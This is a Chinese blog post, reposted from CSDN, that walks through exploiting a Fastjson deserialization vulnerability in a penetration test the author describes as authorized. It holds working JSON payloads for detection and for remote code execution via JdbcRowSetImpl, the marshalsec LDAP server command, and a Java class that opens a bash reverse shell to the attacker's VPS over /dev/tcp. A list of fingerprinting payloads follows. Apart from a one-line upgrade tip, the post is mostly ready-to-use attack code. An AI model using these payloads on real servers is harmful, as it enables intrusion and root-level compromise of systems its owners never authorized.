0


Fastjson反序列化漏洞复现(实战案例)

漏洞介绍

FastJson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。

通俗理解就是:漏洞利用fastjson autotype在处理json对象的时候,未对@type字段进行完全的安全性验证,攻击者可以传入危险类,并调用危险类连接远程rmi主机,通过其中的恶意类执行代码。攻击者通过这种方式可以实现远程代码执行漏洞的利用,获取服务器的敏感信息泄露,甚至可以利用此漏洞进一步对服务器数据进行修改,增加,删除等操作,对服务器造成巨大影响。

前言

以下为有授权测试,未经授权,千万不要触碰法律。

拿到项目后找到了一个后台登录的页面,然后尝试弱口令(yyds)无果

抓包尝试是否存在注入,这里看到是json请求,就尝试去构造或者破坏原有的json请求,从返回的数据包中可以看到有fastjson字样,如果没有报错回显,就使用dnslog进行验证(后面会说到)。

尝试是否存在fastjson反序列化漏洞,构造以下payload看到了版本信息:

  1. Set[{"@type":"java.net.URL","val":"http://dnslog"}]
  2. Set[{"@type":"java.net.URL","val":"http://dnslog"}

网上查了一下此版本存在漏洞

使用dnslog验证

payload

  1. {
  2. "a":{
  3. "@type":"java.lang.Class",
  4. "val":"com.sun.rowset.JdbcRowSetImpl"
  5. },
  6. "b":{
  7. "@type":"com.sun.rowset.JdbcRowSetImpl",
  8. "dataSourceName":"rmi://dnslog.cn/zcc",
  9. "autoCommit":true
  10. }
  11. }

验证成功,说明存在漏洞,这里也可以用到bp的插件,fastjson scan 一键检测,傻瓜操作,github自行搜索一下

反弹shell

使用工具:GitHub - mbechler/marshalsec

vps下载完成后进入目录下进行编译

  1. mvn clean package -DskipTests

(第一次自己进行编译,这个过程中遇到了很多问题,就不一一细说了,如果遇到问题的小伙伴多看报错信息,或者私信我也可以)大佬无视。

编译完成生成了marshalsec-0.0.3-SNAPSHOT-all.jar

新开一个窗口监听端口

root目录下新建一个test.java文件,里面写入EXP源代码

  1. // bash -i >& /dev/tcp/xx.xx.xx.xx/6666 0>&1 这里的ip是vps,以及vps监听的端口6666
  2. import java.lang.Runtime;
  3. import java.lang.Process;
  4. public class test {
  5. static {
  6. try {
  7. Runtime rt = Runtime.getRuntime();
  8. String[] commands = {"bash", "-c", "bash -i >& /dev/tcp/xx.xx.xx.xx/6666 0>&1"};
  9. Process pc = rt.exec(commands);
  10. pc.waitFor();
  11. } catch (Exception e) {
  12. // do nothing
  13. }
  14. }
  15. }

javac编译生成test.class文件

再新建一个窗口,启动http服务

  1. python3 -m http.server 8445

本地访问一下,可以看到生成的class文件

vps启动LDAP服务,监听1389端口,并制定加载远程类

  1. java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://xx.xx.xx.xx:8445/#test" 1389

返回burp构造payload反弹shell,可以看到已经是root权限

  1. {
  2. "a":{
  3. "@type":"java.lang.Class",
  4. "val":"com.sun.rowset.JdbcRowSetImpl"
  5. },
  6. "b":{
  7. "@type":"com.sun.rowset.JdbcRowSetImpl",
  8. "dataSourceName":"ldap://vps:9999/xxx",
  9. "autoCommit":true
  10. }
  11. }

fastjson指纹信息

  1. A.抓包改为POST方式,花括号不闭合,返回包就会出现fastjson字样,不过这个可以屏蔽,就用其他办法
  2. B.利用dnslog盲打
  3. 1. 利用java.net.Inet[4|6]Address
  4. {"@type":"java.net.Inet4Address","val":"dnslog"} {"@type":"java.net.Inet6Address","val":"dnslog"}
  5. 2. 利用java.net.InetSocketAddress
  6. {"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}
  7. 3. 利用java.net.URL
  8. {{"@type":"java.net.URL","val":"http://dnslog"}:"x"}
  9. 4. 其他变形
  10. {"@type":"com.alibaba.fastjson.JSONObject",{"@type":"java.net.URL","val":"http://dnslog”}}""} Set[{"@type":"java.net.URL","val":"http://dnslog"}] Set[{"@type":"java.net.URL","val":"http://dnslog"} {{"@type":"java.net.URL","val":"http://dnslog"}:0
  11. 1.2.67版本前
  12. {"zeo":{"@type":"java.net.Inet4Address","val":"fatu5k.dnslog.cn"}}
  13. 1.2.67版本后payload
  14. {"@type":"java.net.Inet4Address","val":"dnslog"}
  15. {"@type":"java.net.Inet6Address","val":"dnslog"}

修复建议

升级到官方最新版本!


本文转载自: https://blog.csdn.net/jinzezhi/article/details/124274123
版权归原作者 @A1 所有, 如有侵权,请联系我们删除。

“Fastjson反序列化漏洞复现(实战案例)”的评论:

还没有评论